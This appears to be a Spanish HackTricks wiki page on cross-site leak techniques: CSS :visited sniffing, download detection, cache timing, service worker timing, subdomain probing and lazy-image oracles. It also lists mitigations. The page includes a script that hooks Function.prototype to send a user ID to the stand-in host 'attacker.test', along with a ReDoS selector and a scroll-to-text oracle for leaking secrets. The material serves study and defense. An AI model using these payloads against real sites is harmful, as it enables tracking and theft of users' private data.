Las aplicaciones web pueden cambiar el estilo del sitio dependiendo del estado del usuario. Archivos CSS cross-origin pueden ser embebidos en la página del atacante con el elemento HTML link, y las reglas se aplicarán a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede detectar estas diferencias según el estado del usuario.
Como técnica de leak, el atacante puede usar el método window.getComputedStyle para leer propiedades CSS de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.

CSS History

Tip

Según this, esto no funciona en headless Chrome.

El selector CSS :visited se utiliza para estilizar URLs de forma diferente si ya han sido visitadas por el usuario. En el pasado, el método getComputedStyle() podía emplearse para identificar estas diferencias de estilo. Sin embargo, los navegadores modernos han implementado medidas de seguridad para evitar que este método revele el estado de un enlace. Estas medidas incluyen devolver siempre el estilo computado como si el enlace estuviera visitado y restringir los estilos que pueden aplicarse con el selector :visited.

A pesar de estas restricciones, es posible discernir el estado visitado de un enlace de forma indirecta. Una técnica implica engañar al usuario para que interactúe con un área afectada por CSS, utilizando específicamente la propiedad mix-blend-mode. Esta propiedad permite mezclar elementos con su fondo, potencialmente revelando el estado visited según la interacción del usuario.

Además, la detección puede lograrse sin interacción del usuario explotando los tiempos de renderizado de los enlaces. Dado que los navegadores pueden renderizar links visitados y no visitados de forma diferente, esto puede introducir una diferencia de tiempo medible en el renderizado. Se mencionó un PoC en un informe de bug de Chromium que demuestra esta técnica usando múltiples enlaces para amplificar la diferencia de timing, haciendo detectable el estado visited mediante análisis temporal.

Para más detalles sobre estas propiedades y métodos, visita sus páginas de documentación:

ContentDocument X-Frame Leak

En Chrome, si una página con el header X-Frame-Options establecido a “deny” o “same-origin” se embebe como un object, aparece una página de error. Chrome devuelve de forma única un objeto documento vacío (en lugar de null) para la propiedad contentDocument de este object, a diferencia de los iframes u otros navegadores. Los atacantes podrían explotar esto detectando el documento vacío, potencialmente revelando información sobre el estado del usuario, especialmente si los desarrolladores configuran de forma inconsistente el header X-Frame-Options, pasando por alto las páginas de error. La concienciación y la aplicación consistente de headers de seguridad son cruciales para prevenir este tipo de leaks.

Download Detection

El header Content-Disposition, específicamente Content-Disposition: attachment, indica al navegador que debe descargar el contenido en lugar de mostrarlo inline. Este comportamiento puede explotarse para detectar si un usuario tiene acceso a una página que desencadena una descarga de archivo. En navegadores basados en Chromium, hay varias técnicas para detectar este comportamiento de descarga:

  1. Monitorización de la barra de descargas:
  • Cuando se descarga un archivo en navegadores Chromium, aparece una barra de descargas en la parte inferior de la ventana del navegador.
  • Al monitorizar cambios en la altura de la ventana, los atacantes pueden inferir la aparición de la barra de descargas, lo que sugiere que se ha iniciado una descarga.
  1. Navegación de descarga con iframes:
  • Cuando una página desencadena una descarga usando el header Content-Disposition: attachment, no provoca un evento de navegación.
  • Al cargar el contenido en un iframe y monitorizar eventos de navegación, es posible comprobar si la disposición del contenido provoca una descarga (no hay navegación) o no.
  1. Navegación de descarga sin iframes:
  • Similar a la técnica del iframe, este método utiliza window.open en lugar de un iframe.
  • Monitorizar eventos de navegación en la ventana recién abierta puede revelar si se desencadenó una descarga (no hay navegación) o si el contenido se muestra inline (se produce navegación).

En escenarios donde solo usuarios autenticados pueden desencadenar dichas descargas, estas técnicas pueden usarse para inferir indirectamente el estado de autenticación del usuario basándose en la respuesta del navegador a la solicitud de descarga.

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

Si un sitio example.com incluye un recurso desde *.example.com/resource entonces ese recurso tendrá la misma cache key que si el recurso se solicitara directamente mediante una navegación top-level. Esto se debe a que la cache key se compone del top-level eTLD+1 y del frame eTLD+1.

Dado que acceder a la cache es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20ms (por ejemplo) después. Si el origen cambió después del stop, significa que el recurso estaba en cache.
O simplemente se puede enviar un fetch a la página potencialmente cacheada y medir el tiempo que tarda.

Manual Redirect

Fetch with AbortController

Usa fetch y setTimeout con un AbortController para detectar si el recurso está en cache y para expulsar (evict) un recurso específico del cache del navegador. Además, el proceso ocurre sin cachear contenido nuevo.

Script Pollution

Prototype hooks to exfiltrate module-scoped data

Predefine Function.prototype.default and Function.prototype.__esModule = 1 antes de cargar un módulo para que su default export llame a tu hook (por ejemplo, recibe {userID: ...}), permitiéndote leer valores con scope de módulo sin necesitar timing o fuerza bruta.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

La propia petición también se convierte en un oráculo de estado de inicio de sesión si el script solo se carga para usuarios autenticados.

Service Workers

En el escenario dado, el atacante toma la iniciativa de registrar un service worker dentro de uno de sus dominios, específicamente “attacker.com”. A continuación, el atacante abre una nueva ventana en el sitio objetivo desde el documento principal e indica al service worker que inicie un temporizador. Mientras la nueva ventana comienza a cargarse, el atacante navega la referencia obtenida en el paso anterior hacia una página gestionada por el service worker.

Al llegar la petición iniciada en el paso precedente, el service worker responde con un estado 204 (No Content), terminando efectivamente el proceso de navegación. En ese punto, el service worker captura una medición del temporizador iniciado anteriormente en el paso dos. Esta medición está influenciada por la duración de JavaScript que causa retrasos en el proceso de navegación.

Warning

En una medición de tiempos de ejecución es posible eliminar los factores de red para obtener mediciones más precisas. Por ejemplo, cargando los recursos usados por la página antes de cargarla.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Métodos de inclusión: Elementos HTML (script), Frames
  • Diferencia detectable: Éxito de carga DNS/HTTP, cambios en CORB/cabeceras
  • Resumen: Si los identificadores residen en etiquetas de subdominio (p. ej., www.<username>.sb.facebook.com), solicita recursos en hosts candidatos y trata onload frente a onerror/timeouts como un booleano. Combínalo con login-only scripts (p. ej., /signals/iwl.js) para brute-force usernames y verificar auth en propiedades relacionadas.
  • Nota: Signals se pueden amplificar con diferentes tipos de inclusión (script, iframe, object) para detectar X-Frame-Options, CORB, o diferencias de redirección por candidato.

Con HTML o Re Injection

Aquí puedes encontrar técnicas para exfiltrar información desde un HTML cross-origin injecting HTML content. Estas técnicas son interesantes en casos donde, por cualquier razón, puedes inject HTML but you cannot inject JS code.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Si necesitas exfiltrate content y puedes add HTML previous to the secret deberías revisar las common dangling markup techniques.
Sin embargo, si por cualquier motivo MUST hacerlo char by char (quizá la comunicación sea vía un cache hit) puedes usar este truco.

Las imágenes en HTML tienen un atributo “loading” cuyo valor puede ser “lazy”. En ese caso, la imagen se cargará cuando se visualice y no mientras la página se está cargando:

<img src=/something loading=lazy >

Por lo tanto, lo que puedes hacer es añadir muchos junk chars (Por ejemplo thousands of “W“s) para llenar la página web antes del secreto o añadir algo como <br><canvas height="1850px"></canvas><br>.
Entonces, por ejemplo, si nuestra injection aparece antes de la flag, la imagen se cargará, pero si aparece después de la flag, la flag + el junk evitarán que se cargue (tendrás que ajustar la cantidad de junk a colocar). Esto es lo que pasó en this writeup.

Otra opción sería usar scroll-to-text-fragment si está permitido:

Scroll-to-text-fragment

Sin embargo, haces que el bot acceda a la página con algo como

#:~:text=SECR

Entonces la página web será algo como: https://victim.com/post.html#:~:text=SECR

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

Ese texto hará que el bot acceda a cualquier texto de la página que contenga el texto SECR. Como ese texto es el secreto y está justo debajo de la imagen, la imagen solo se cargará si el secreto adivinado es correcto. Así tienes tu oráculo para exfiltrar el secreto carácter por carácter.

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

If it’s not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn’t loaded. This is what was used in the solution of this writeup sumarized here:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Si se usa jQuery(location.hash), es posible averiguarlo por temporización si cierto contenido HTML existe, esto es porque si el selector main[id='site-main'] no coincide no necesita comprobar el resto de los selectores:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Mitigaciones

Hay mitigaciones recomendadas en https://xsinator.com/paper.pdf y también en cada sección del wiki https://xsleaks.dev/. Consulta allí para obtener más información sobre cómo protegerse contra estas técnicas.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks